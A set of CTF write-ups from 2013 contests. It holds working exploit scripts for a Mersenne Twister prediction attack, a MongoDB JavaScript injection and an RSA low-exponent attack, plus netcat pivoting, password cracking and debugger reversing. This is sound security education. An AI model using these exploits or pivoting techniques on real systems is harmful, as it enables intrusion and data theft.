# 30C3 2k13: Numbers - Guess (100 points)


The challenge

Do you like guessing challenges? Yes? This one is especially for you!
guess.tar.gz running on 88.198.89.194:8888

# wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz
# tar xvzf guess.tar.gz
server.py
# cat server.py
#!/usr/bin/env python2
import socket
import random
import sys
import os
import signal

flag ="foobar"

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8888))
s.listen(10)
while 1:
        c, _ = s.accept()
        if c is None:
                sys.exit(1)
        if os.fork() == 0:
                del s
                break
        del c

c.sendall("Welcome to this little guessing game!\n")
r = random.Random()
r.seed(os.urandom(16))
guess_limit = 10
guess_right = 0
data = ""
while 1:
        answer = str(r.getrandbits(64))
        c.sendall("You have %d/%d right guesses, whats your next guess? " % (guess_right, guess_limit))
        while "\n" not in data:
                cur = c.recv(4096)
                if not cur:
                        sys.exit(0)
                data += cur
        guess, data = data.split("\n", 1)
        if guess != answer:
                guess_right = 0
                c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer)
                continue
        guess_right += 1
        if guess_right < guess_limit:
                c.sendall("Yes! That was correct, awesome...\n")
                continue
        c.sendall("You did it! The flag is: %s" % flag)
        sys.exit(0)
# cat reverse.py
L = 32
N = 624
M = 397
UM = 2**31
LM = UM - 1

def unBitshiftRightXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = (shiftmask << (L - shift)) >> (shift * i)
                part = value & partmask
                value ^= (part >> shift) & mask
                result |= part
                i += 1
        return result

def BitshiftRightXor(value, shift, mask):
        pmask = (value >> shift) & mask
        result = value ^ pmask
        return result

def unBitshiftLeftXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = shiftmask << (shift * i)
                part = value & partmask
                value ^= (part << shift) & mask
                result |= part
                i += 1
        return result


def BitshiftLeftXor(value, shift, mask):
        pmask = (value << shift) & mask
        result = value ^ pmask
        return result

def untransform(value):
        value = unBitshiftRightXor(value, 18, 0xffffffff)
        value = unBitshiftLeftXor(value,  15, 0xefc60000)
        value = unBitshiftLeftXor(value,   7, 0x9d2c5680)
        value = unBitshiftRightXor(value, 11, 0xffffffff)
        return value

def MTwister(sv, ndx):
        ndx = ndx % N
        y = (sv[ndx] & UM) | (sv[(ndx + 1) % N] & LM)
        sv[ndx] = sv[(ndx + M) % N] ^ (y >> 1)
        if y & 0x1:
                sv[ndx] ^= 0x9908b0df
        rn = sv[ndx]
        rn = BitshiftRightXor(rn, 11, 0xffffffff)
        rn = BitshiftLeftXor(rn,   7, 0x9d2c5680)
        rn = BitshiftLeftXor(rn,  15, 0xefc60000)
        rn = BitshiftRightXor(rn, 18, 0xffffffff)
        return rn

def getrandbits(sv, ndx, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        result = 0
        for i in range(0, bytes, 4):
                random = MTwister(sv, ndx + (i / 4))
                if bits < 32:
                        random = random >> (32 - bits)
                r.append( random        & mask)
                r.append((random >>  8) & mask)
                r.append((random >> 16) & mask)
                r.append((random >> 24) & mask)
                bits = bits - 32
        j = 0
        for b in r:
                result = (b << (8 * j)) | result
                j += 1
        return result, (i / 4) + 1

# getstatebits works OK when bits % 32 == 0
def getstatebits(sv, value, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        for i in range(0, bytes, 4):
                if bits < 32:
                        value = value << (32 - bits)
                j = 32 * (i/4)
                r.append((value >>  j)       & mask)
                r.append((value >> (j +  8)) & mask)
                r.append((value >> (j + 16)) & mask)
                r.append((value >> (j + 24)) & mask)
                bits = bits - 32
                result = 0
                j = 0
                for b in r:
                        result = (b << (8 * j)) | result
                        j += 1
                sv.append(untransform(result))
                del r[:]
        return (i / 4) + 1
# cat guess.py
#!/usr/bin/python

import netlib
import re
import sys
from reverse import *

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip    = sys.argv[1]
port  = sys.argv[2]
proto = sys.argv[3]

N = 624
L = 64

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        data = sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        i = 0
        sv = []
        while i < N:
                if sc.send("\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                answer = re.findall(r'[0-9]{5,}', data)
                for a in answer:
                        r = getstatebits(sv, int(a), L)
                        print i, a
                        i += r
        data = sc.recv(buffsize, timeout)
        mt, r = getrandbits(sv, i, L)
        i += r
        while True:
                mt, r = getrandbits(sv, i, L)
                i += r
                print 'Sending = \'' + str(mt) + '\''
                if sc.send(str(mt) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data
# python guess.py 88.198.89.194 8888 tcp
...
You did it! The flag is: 30C3_b9b1579866cccd28b1918302382c9107

Update

# cat guess.py
...
import random
...
        data = sc.recv(buffsize, timeout)
        sv.append(1337)
        r = random.Random()
        r.setstate((3, tuple(sv), None))
        r.getrandbits(L)
        while True:
                n = r.getrandbits(L)
                print 'Sending = \'' + str(n) + '\''
                if sc.send(str(n) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data

References

http://en.wikipedia.org/wiki/Mersenne_twister
http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html
http://svn.python.org/view/*checkout*/python/trunk/Modules/_randommodule.c

# RuCTFE 2k13: Taxi


Vulnerable code

# cat taxi.py
...
def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    return list(res.find())
...

Exploit

# cat exploit.py
#!/usr/bin/python

import httplib
import urllib
import re
import sys

def taxi_exploit(ip, username):
    port = 8081
    query= '/add_admin/?admin=' + username
    conn = httplib.HTTPConnection(ip, port)
    conn.request('POST', query)
    resp = conn.getresponse()
    hmac = resp.getheader('set-cookie')

    js_injection = urllib.quote_plus("' || true) emit(this.route, 1); if('")
    query= '/amount/?user=' + username + '&admin=' + js_injection
    headers = {"Cookie": hmac}
    conn.request('GET', query, '', headers)
    resp = conn.getresponse()
    data = resp.read()

    conn.close()

    flags = []
    for flag in re.findall('[A-Za-z0-9=]{32}', data):
        flags.append(flag)

    for i in flags:
        print i

ip = sys.argv[1]
username = sys.argv[2]

taxi_exploit(ip, username)
# ./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`

Patch

# cat taxi.py
...
def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())
...

Complete code

# cat taxi.py
#!/usr/bin/python
import urlparse
import os
import random
import string
import hmac
import hashlib
import os.path
import json
import re

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from pymongo import collection
from pymongo import Connection
from datetime import datetime
from bson.code import Code

DBNAME = 'taxi'
COLNAME = 'orders'
USERS = 'users'
KEY_FILE = 'key'


def connect_db(dbname):
    c = Connection()
    return c[dbname]

def generate_id():
    abc = string.ascii_lowercase + string.digits
    res = ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    return res


def add(amount, admin, user, route, col):
    generated_id = generate_id()
    return add_by_id(generated_id, amount, admin, user, route, col)


def add_by_id(id, amount, admin, user, route, col):
    rid = col.insert(
        {"_id": id, "date": datetime.now(), "amount": amount, "admin": admin, "user": user, "route": route})
    print rid
    return rid


def get_by_id(id, col):
    found = col.find_one({"_id": id})
    return dict(found)


def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())


def view_all(col, admin_name):
    res = col.find({"admin": admin_name}).sort("date")
    return list(res)


def r_replace(s, old, new, occurrence):
    li = s.rsplit(old, occurrence)
    return new.join(li)


def dict_to_str(dic):
    d = {}
    for i in dic:
        d[i] = str(dic[i])
    return json.dumps(d)


def try_create_user(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        user = p['user'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is None:
            return "Admin does not  exist", ""
        user_exists = col.find_one({"user": user})
        if user_exists is not None:
            return "User already exists", ""
        id = col.insert({"admin": admin, "user": user})
        if id:
            return "Success", user
        else:
            return "Can't create new user", ""
    except KeyError:
        return "You have to set [admin], [user] and [pswd] parameters in order to register new user", ""


def try_create_admin(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is not None:
            return "Admin already exists", ""
        id = col.insert({"admin": admin, "user": admin})
        if id:
            return "Success", admin
        else:
            return "Can't create new admin", ""
    except KeyError:
        return "You have to set [admin] parameter in order to register new admin", ""


def get_hmac(message):
    try:
        key = file(KEY_FILE).read()
        return hmac.new(key, message, digestmod=hashlib.sha1).hexdigest()
    except:
        return None


class MonHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            p = urlparse.parse_qs(parsed.query)
            user = p['user'][0]

            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if 'cookie' not in self.headers:
                print "no cookie sent"
                self.send_error(401)
                return
            print self.headers['cookie']
            c = self.headers['cookie']
            r = re.search("hm=([^;]+)", c)
            if not r:
                print "no hmac sent"
                self.send_error(401)
                return

            h_mac = r.group(1)

            if h_mac != get_hmac(user):
                self.send_error(401)
                return

            if action == 'route':
                if 'id' in p:
                    r_id = p['id'][0]
                    res = get_by_id(r_id, col)
                    result_doc = dict_to_str(res)
                    self.send_response(200)
                    self.send_header('Content-type', 'text-html')
                    self.end_headers()
                    self.wfile.write(result_doc)
                    return
                else:
                    self.send_response(400)
                    return
            elif action == 'routes':
                admin = p['admin'][0]
                result_doc = view_all(col, admin)
            elif action == 'amount':
                admin = p['admin'][0]
                result_doc = mr_test(col, admin)
                print result_doc
            else:
                self.send_response(405)
                return

            self.send_response(200)
            self.send_header('Content-type', 'text-html')
            self.end_headers()
            for doc in result_doc:
                self.wfile.write(json.dumps(doc))
                self.wfile.write("\n")
            return

        except Exception as e:
            print str(e)
            self.send_error(404)

    def do_POST(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if action == 'add_user':
                res, user = try_create_user(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(user))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_admin':
                res, admin = try_create_admin(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(admin))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_route':
                if 'cookie' not in self.headers:
                    print "no cookie sent"
                    self.send_error(401)
                    return
                print self.headers['cookie']
                c = self.headers['cookie']
                r = re.search("hm=([^;]+)", c)
                if not r:
                    print "no hmac sent"
                    self.send_error(401)
                    return

                h_mac = r.group(1)
                p = urlparse.parse_qs(parsed.query)
                user = p['user'][0]

                if h_mac != get_hmac(user):
                    self.send_error(401)
                    return

                try:
                    amount = float(p['amount'][0])
                except ValueError:
                    self.send_response(400)
                    return

                admin = p['admin'][0]
                route = p['route'][0]
                o_id = p.get('id', [""])[0]
                print "params: " + o_id + "; " + str(amount)
                if o_id == "":
                    result = add(amount, admin, user, route, col)
                else:
                    result = add_by_id(o_id, amount, admin, user, route, col)
                self.send_header('Content-type', 'text-html')
                self.end_headers()
                self.wfile.write(result)
                if result is not None:
                    self.send_response(200)
                else:
                    self.send_error(501)
                return
            else:
                self.send_error(405)
                return

        except Exception as e:
            print str(e)
            self.send_error(500)


def gen_key_if_not_exists():
    if os.path.isfile(KEY_FILE):
        return
    length = 256
    chars = string.ascii_letters + string.digits + '!@#$%^&*()'
    random.seed = (os.urandom(1024))
    key = ''.join(random.choice(chars) for i in range(length))
    try:
        open(KEY_FILE, 'w').write(key)
    except:
        print "Can't create key file"
        return


def run():
    print 'taxi service is starting...'
    server_address = ('0.0.0.0', 8081)
    httpd = HTTPServer(server_address, MonHTTPRequestHandler)
    print 'Welcome to our taxi service!'
    print 'You can order trips, view your users\' routes and monitor your riding costs'
    print 'Please notice that we charge you extra 10% VAT according to our Ural state laws'
    gen_key_if_not_exists()
    httpd.serve_forever()


if __name__ == '__main__':
    run()

# CSCamp CTF Quals 2k13: Steganography - stega4.wav


# ./keygen 4 "{a..z}" | xargs -I {} steghide extract -sf stega4.wav -p {}
wrote extracted data to "flag.zip".
# fcrackzip -u -c aA1! -p aaaaa flag.zip
PASSWORD FOUND!!!!: pw == 3L33t
# unzip -P 3L33t flag.zip && cat flag.txt
Archive:  flag.zip
  inflating: flag.txt
The Flag is {a57085396f9200c6d38ff66ffa1d3c71}

# rwthCTF 2k13 - smartgrid


# cat grid.pub
-----BEGIN PUBLIC KEY-----
MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEA0pbD0fyDY0sVLMBlEN+g
iGIHjY5KdCTKn722qjmOK6J7Y8r8JDpu01YXmroDjtjy0FAk1C2+ofdZIoVVqms3
8kuXnUOziSHuhK3fpPZbh560G5t7KDBIH6mQ3h0xiLaJpaZClL1QFE7OPFvIexnO
nJoBQbU2R9hpUVRJ18XmgAwCfilNlD6tgp1Ewlou3cPvWP5S2YvfiBPzn0/kSgmP
mx5vABDacygL8BqCSWW7tKRhSXtzAqarve6qOaAjW9JOcyrnmHQEyzahaFIUBpob
OnMFQT1gBPZ/J9bdRUy+OGllYXzaua8/+wuCNAXOJYd43h2QRfl25ULNqyd5zZcE
+hIJtVdoAy3Qdw4zOLqeeo+YPnBR/5rV3R8rFG20yHp3adnHocPyV2uo987vtP4U
pt6URFyI8x2wvTpscjMHWdAQ8vq804OPnagXz0j0Rgw9+BvyD1StiaZHIlYUT0u4
PHG1ynG1solOx1O9jn9aBTTks/0jZGUy+Romgh3Wqfawivnc2Lry5hwCHwMz5NZ+
xoatZlyzd6NCyFcSROctIo4Qw5V0FIbFpx5RNjwNQ4cQvYcKHjmwTwQWiL+6MOWu
GRKIOABJcAXGBnpPUQKAP6JFuORxqD5h1tOQhk1T2ef1FbwKJIwgsVAlGIJNkEq1
G+sEadzv1qowDAbkEFKTKT0CAQM=
-----END PUBLIC KEY-----
# openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '('
Public-Key: (4096 bit)
Exponent: 3 (0x3)
# ipython
: import gmpy
: message = 2**1024
: modulus = gmpy.mpz(2**4096)
: cube_root = modulus.root(3)[0]
: if message < cube_root:
    print "Go!"
Go!
# cat netlib.py
import socket
import time

# Socket Client
class sc:
        def __init__(self, host, port, layer4):
                self.host = host
                self.port = int(port)
                self.layer4 = layer4

        def connect(self, max_retries, pause):
                if self.layer4 == "tcp":
                        socket_type = socket.SOCK_STREAM
                elif self.layer4 == "udp":
                        socket_type = socket.SOCK_DGRAM
                self.socket = socket.socket(socket.AF_INET, socket_type)
                retries = 0
                while True:
                        try:
                                self.socket.connect((self.host, self.port))
                                return True
                        except:
                                retries += 1
                                if retries == max_retries:
                                        print "Unable to connect."
                                        return False
                                time.sleep(pause)

        def send(self, data):
                try:
                        count = self.socket.send(data)
                except:
                        print "Unable to send data."
                        return False

                if count == len(data):
                        return True
                else:
                        print "Unable to send all data."
                        return False

        def recv(self, buffsize, timeout):
                data = None
                self.socket.settimeout(timeout)
                try:
                        data = self.socket.recv(buffsize)
                except socket.timeout:
                        print "Receive timeout"
                except:
                        print "Unexpected exception while receiving"
                self.socket.settimeout(None)
                return data

        def close(self):
                self.socket.close()
# cat smartgrid.py
#!/usr/bin/python

import gmpy
import hashlib
import netlib
import sys
import time

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = sys.argv[1]
port = sys.argv[2]
proto = sys.argv[3]

def cube_root_attack(message):
        # if e = 3 and m < n**1/3 then c = m**3
        m = gmpy.mpz(message)
        cube_root= m.root(3)[0]
        sha = hashlib.sha256()
        sha.update(str(cube_root))
        return sha.hexdigest()

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        break

        if sc.send("help\r\n") == False:
                sys.exit()
        help = ""
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        help += data[:-1]
                        break
                else:
                        help += data

        if help.find("readstatus") == -1: # Is admin mode active?
                if sc.send("admin\r\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                if data == None:
                        sys.exit()
                challenge = data.split('=')[1]
                solution = cube_root_attack(int(challenge))
                if sc.send("answer=" + solution + "\r\n") == False:
                        sys.exit()
                while True:
                        data = sc.recv(buffsize, timeout)
                        if data.endswith(">"):
                                break

        if sc.send("listconsumers" + "\r\n") == False:
                sys.exit()
        listconsumers = ""
        while True:
                data = sc.recv(buffsize, timeout)
                if data.endswith(">"):
                        listconsumers += data[:-2]
                        break
                else:
                        listconsumers += data
        listconsumers = listconsumers[15:-2]
        listconsumers = listconsumers.replace("'","")
        uuids = listconsumers.split(", ")
        uuids.reverse()

        for i in range(30):
                if sc.send("readstatus " + uuids[i] + "\r\n") == False:
                        sys.exit()
                result = ""
                while True:
                        data = sc.recv(buffsize, timeout)
                        if data.endswith(">"):
                                result += data[:-2]
                                break
                        else:
                                result += data
                pos = result.find("status=")
                status = result[pos+7:pos+23]
                pos = result.find("tstamp=")
                tstamp = result[pos+7:pos+17]
                if int(time.time()) - int(tstamp) < 15 * 60: # Last 15 minutes
                        print status # Flag
        sc.close()
# ./smartgrid.py 10.22.x.1 21721 tcp
References

http://h4des.org/blog/index.php?/archives/339-rwthCTF-2013-smartgrid-write-up.html

# Connecting two private hosts through a public pivot


METHOD 1 (ssh)

A reverse ssh tunnel, from host1 to pivot

host1# ssh -R localhost:1337:localhost:1234 -f -N root@pivot
host1# nc -l localhost 1234

A proxy ssh tunnel, from host2 to pivot

host2# ssh -L localhost:1234:localhost:1337 -f -N root@pivot
host2# nc localhost 1234

Diagram

host2:r ---> host2:1234 --- pivot:1337 --- host1:1234
host2:r ---> host1:1234


METHOD 2 (netcat)

Two listeners at pivot

pivot# mkfifo p
pivot# nc -nvlp 1111 0<p | nc -nvlp 2222 1>p

A running service and a pipe between the local port at host1 and the pivot

host1# nc -nvlp 1234
host1# mkfifo p
host1# nc -nv pivot 1111 0<p | nc -nv localhost 1234 1>p

A connection from host2 to pivot/host1

host2# nc -nv pivot 2222

Diagram

host2:r --> pivot:2222 --- pivot:1111 --- host1:1234
host2:r --> host1:1234

# CSCamp CTF Quals 2k13: Reversing - Challenge (dotnet)


# file challenge.exe
challenge.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Run challenge.exe:
. Username = Cookie
. Serial Number = Monsters
. Check
> Authentication failed!

Attach to the process using windbg:
> * Load SOS and symbols
> .loadby sos mscorwks; .symfix; .reload
> * Show all threads
> ~
   0  Id: 3180.39b0 Suspend: 1 Teb: 7ffdf000 Unfrozen
   1  Id: 3180.30a8 Suspend: 1 Teb: 7ffde000 Unfrozen
   2  Id: 3180.3ad8 Suspend: 1 Teb: 7ffdd000 Unfrozen
   3  Id: 3180.3a6c Suspend: 1 Teb: 7ffdc000 Unfrozen
.  4  Id: 3180.38e0 Suspend: 1 Teb: 7ffdb000 Unfrozen
> * Show all managed threads
> !threads
ThreadCount: 2
UnstartedThread: 0
BackgroundThread: 1
PendingThread: 0
DeadThread: 0
Hosted Runtime: no
                                      PreEmptive   GC Alloc           Lock
       ID OSID ThreadOBJ    State     GC       Context       Domain   Count APT Exception
   0    1 39b0 0015b1b8      6020 Enabled  00000000:00000000 001653f8     0 STA
   2    2 3ad8 0015ec68      b220 Enabled  00000000:00000000 001653f8     0 MTA (Finalizer)
> * Switch to thread 0 (new current thread)
> ~0s
eax=03370088 ebx=013d8740 ecx=00001f40 edx=001a2c58 esi=01400ed0 edi=014322f4
eip=7c91e514 esp=0012ed8c ebp=0012ee20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c91e514 c3              ret
> * View the stack
> !clrstack
OS Thread Id: 0x39b0 (0)
ESP       EIP
0012ed98 7c91e514 [InlinedCallFrame: 0012ed98] System.Windows.Forms.UnsafeNativeMethods.WaitMessage()
0012ed94 7b1d8e78 System.Windows.Forms.Application+ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(Int32, Int32, Int32)
0012ee30 7b1d8967 System.Windows.Forms.Application+ThreadContext.RunMessageLoopInner(Int32, System.Windows.Forms.ApplicationContext)
0012ee84 7b1d87b1 System.Windows.Forms.Application+ThreadContext.RunMessageLoop(Int32, System.Windows.Forms.ApplicationContext)
0012eeb4 7b195921 System.Windows.Forms.Application.Run(System.Windows.Forms.Form)
0012eec8 00de5498 (System.Windows.Forms.Form)
0012eecc 00de1eee StarwareCTF_DotNetChall.Program.Main()
0012f148 79e71b4c [CustomGCFrame: 0012f148]
0012f110 79e71b4c [GCFrame: 0012f110]
0012f12c 79e71b4c [GCFrame: 0012f12c]
0012f310 79e71b4c [HelperMethodFrame_1OBJ: 0012f310] System.RuntimeMethodHandle._InvokeMethodFast(System.Object, System.Object[], System.SignatureStruct ByRef, System.Reflection.MethodAttributes, System.RuntimeTypeHandle)
0012f380 792d5608 System.RuntimeMethodHandle.InvokeMethodFast(System.Object, System.Object[], System.Signature, System.Reflection.MethodAttributes, System.RuntimeTypeHandle)
0012f3d0 792d540f System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo, Boolean)
0012f40c 792d529e System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)
0012f42c 00de0294 CompressShell.Main(System.String[])
> * Show objects on the heap (MT = MethodTable)
> !dumpheap -type StarwareCTF_DotNetChall
 Address       MT     Size
013d7cf4 00a0732c      348
total 1 objects
Statistics:
      MT    Count    TotalSize Class Name
00a0732c        1          348 StarwareCTF_DotNetChall.MainForm
Total 1 objects
0012f688 79e71b4c [GCFrame: 0012f688]
> * Show what methods the object exposes
> !dumpmt -md 00a0732c
EEClass: 00df38d8
Module: 00a03d94
Name: StarwareCTF_DotNetChall.MainForm
mdToken: 02000009  (StarwareCTF_DotNetChall, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null)
BaseSize: 0x15c
ComponentSize: 0x0
Number of IFaces in IFaceMap: 15
Slots in VTable: 379
--------------------------------------
MethodDesc Table
   Entry MethodDesc      JIT Name
7b176338   7afe8338   PreJIT System.Windows.Forms.Form.ToString()
79286ac0   79104968   PreJIT System.Object.Equals(System.Object)
79286b30   79104998   PreJIT System.Object.GetHashCode()
7a575e40   7a460c00   PreJIT System.ComponentModel.Component.Finalize()
...
7b7220b0   7afe83e0   PreJIT System.Windows.Forms.Form.OnResizeEnd(System.EventArgs)
00a0c320   00a072a0      JIT StarwareCTF_DotNetChall.MainForm..ctor()
00a0c744   00a072ac      JIT StarwareCTF_DotNetChall.MainForm.checkButton_Click(System.Object, System.EventArgs)
00a0cc58   00a072b8      JIT StarwareCTF_DotNetChall.MainForm.ChangeAuthenticationMessage(System.String)
00a0d018   00a072c4      JIT StarwareCTF_DotNetChall.MainForm.ChangeAuthenticationMessageCallback(System.String)
00a0cc00   00a072d0     NONE StarwareCTF_DotNetChall.MainForm.OnAuthentication(StarwareCTF_DotNetChall.AuthenticationResult)
00a0c330   00a072e4      JIT StarwareCTF_DotNetChall.MainForm.InitializeComponent()
> * Method disassemble
> !U 00a072ac
Normal JIT generated code
StarwareCTF_DotNetChall.MainForm.checkButton_Click(System.Object, System.EventArgs)
Begin 00de54b0, size 12a
00de54b0 55              push    ebp
00de54b1 8bec            mov     ebp,esp
00de54b3 57              push    edi
00de54b4 56              push    esi
00de54b5 53              push    ebx
00de54b6 50              push    eax
00de54b7 8bf9            mov     edi,ecx
00de54b9 b98814bf00      mov     ecx,0BF1488h (MT: StarwareCTF_DotNetChall.KeyVerification)
00de54be e859cbc0ff      call    009f201c (JitHelp: CORINFO_HELP_NEWSFAST)
00de54c3 8bf0            mov     esi,eax
00de54c5 8bce            mov     ecx,esi
00de54c7 ff15c014bf00    call    dword ptr ds:[0BF14C0h] (StarwareCTF_DotNetChall.KeyVerification..ctor(), mdToken: 0600002b)
00de54cd 8b8f44010000    mov     ecx,dword ptr [edi+144h]
00de54d3 ff151815bf00    call    dword ptr ds:[0BF1518h] ((System.Object), mdToken: 060000e8)
00de54d9 8bd8            mov     ebx,eax
00de54db 8b8f48010000    mov     ecx,dword ptr [edi+148h]
00de54e1 ff151815bf00    call    dword ptr ds:[0BF1518h] ((System.Object), mdToken: 060000e8)
00de54e7 50              push    eax
00de54e8 8bd3            mov     edx,ebx
00de54ea 8bce            mov     ecx,esi
00de54ec ff156414bf00    call    dword ptr ds:[0BF1464h] (StarwareCTF_DotNetChall.KeyVerification.CheckKey(System.String, System.String), mdToken: 06000029)
...
> * Display one dword (4b)
> dd 0BF1464h L1
00bf1464  00de5960
> * Method disassemble
> !U 00de5960
Normal JIT generated code
StarwareCTF_DotNetChall.KeyVerification.CheckKey(System.String, System.String)
Begin 00de5960, size 39
>>> 00de5960 55              push    ebp
00de5961 8bec            mov     ebp,esp
00de5963 57              push    edi
00de5964 56              push    esi
00de5965 50              push    eax
00de5966 33c0            xor     eax,eax
00de5968 8945f4          mov     dword ptr [ebp-0Ch],eax
00de596b 8bf1            mov     esi,ecx
00de596d 8bfa            mov     edi,edx
00de596f 8b4d08          mov     ecx,dword ptr [ebp+8]
00de5972 ff15242bbf00    call    dword ptr ds:[0BF2B24h] ((System.Object), mdToken: 060000d8)
00de5978 8bc8            mov     ecx,eax
00de597a 8bd7            mov     edx,edi
00de597c 894df4          mov     dword ptr [ebp-0Ch],ecx
00de597f 8bce            mov     ecx,esi
00de5981 ff157014bf00    call    dword ptr ds:[0BF1470h] (StarwareCTF_DotNetChall.KeyVerification.GenerateKeyFromUsername(System.String), mdToken: 0600002a)
00de5987 8bd0            mov     edx,eax
00de5989 8b4df4          mov     ecx,dword ptr [ebp-0Ch]
00de598c ff15042cbf00    call    dword ptr ds:[0BF2C04h] ((System.String, System.String), mdToken: 060000dc)
00de5992 59              pop     ecx
00de5993 5e              pop     esi
00de5994 5f              pop     edi
00de5995 5d              pop     ebp
00de5996 c20400          ret     4
> * Set breakpoint at address
> bp 00de5987
> * Go
> g
. Username = Cookie
. Serial Number = Monsters
. Check

> * Display Unicode chars
> du eax+c
014d1b00  "0C81B9E71D6397203F2B7C73233FC5A4"
014d1b40  "D9C6450D8037BB12BE9415B950AC3E52"
014d1b80  "1EA1B1C42B4ACD482C83FFBBA8212BE2"
014d1bc0  "28A71FE544E463B59C344F1A41A55262"
> * Clear all breakpoints
> bc *
> * Go
> g
> Authentication failed!
. Username = Cookie
. Serial Number = 0C81B9E71D6397203F2B7C73233FC5A4D9C6450D8037BB12BE9415B950AC3E521EA1B1C42B4ACD482C83FFBBA8212BE228A71FE544E463B59C344F1A41A55262
. Check
> Authentication successful. Waiting for flag

Reference

http://blog.botbie.com/2013/11/21/cscamp-ctf-quals-2013-reversing-150-write-up/

# NcN CTF 2k13: Canada (Base - 1200 pts)


# gunzip howtobasic.gz
# file howtobasic
howtobasic: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x1a8f284f3d67ad66c7510bc5353556e8a01db18b, stripped
# chmod +x howtobasic
# gdb --quiet ./howtobasic
(gdb) set disassembly-flavor intel
(gdb) info file
        Entry point: 0x80481c0
(gdb) run
Starting program: /root/ctf/howtobasic
Facebook CTF
Enter flag: ^C
Program received signal SIGINT, Interrupt.
0xf7ffd430 in __kernel_vsyscall ()
(gdb) finish
1234567890
0x080577a2 in ?? ()
(gdb) finish
0x0806d9a6 in ?? ()
(gdb) finish
0x08049b26 in ?? ()
(gdb) finish
0x0804932d in ?? ()
(gdb) finish
0x08049435 in ?? ()
(gdb) finish
0x0804906b in ?? ()
(gdb) finish
0x080483b6 in ?? ()
(gdb) finish
Sorry, that is not correct.
(gdb) b *0x080483b6
(gdb) run
Starting program: /root/ctf/howtobasic
Facebook CTF
Enter flag: 1234567890

(gdb) x/2i 0x080483b6
=> 0x80483b6:   test   eax,eax
   0x80483b8:   jne    0x80483f5
(gdb) x/s $eax
0x80d5298:      "1234567890\n"
(gdb) b *0x80483f5
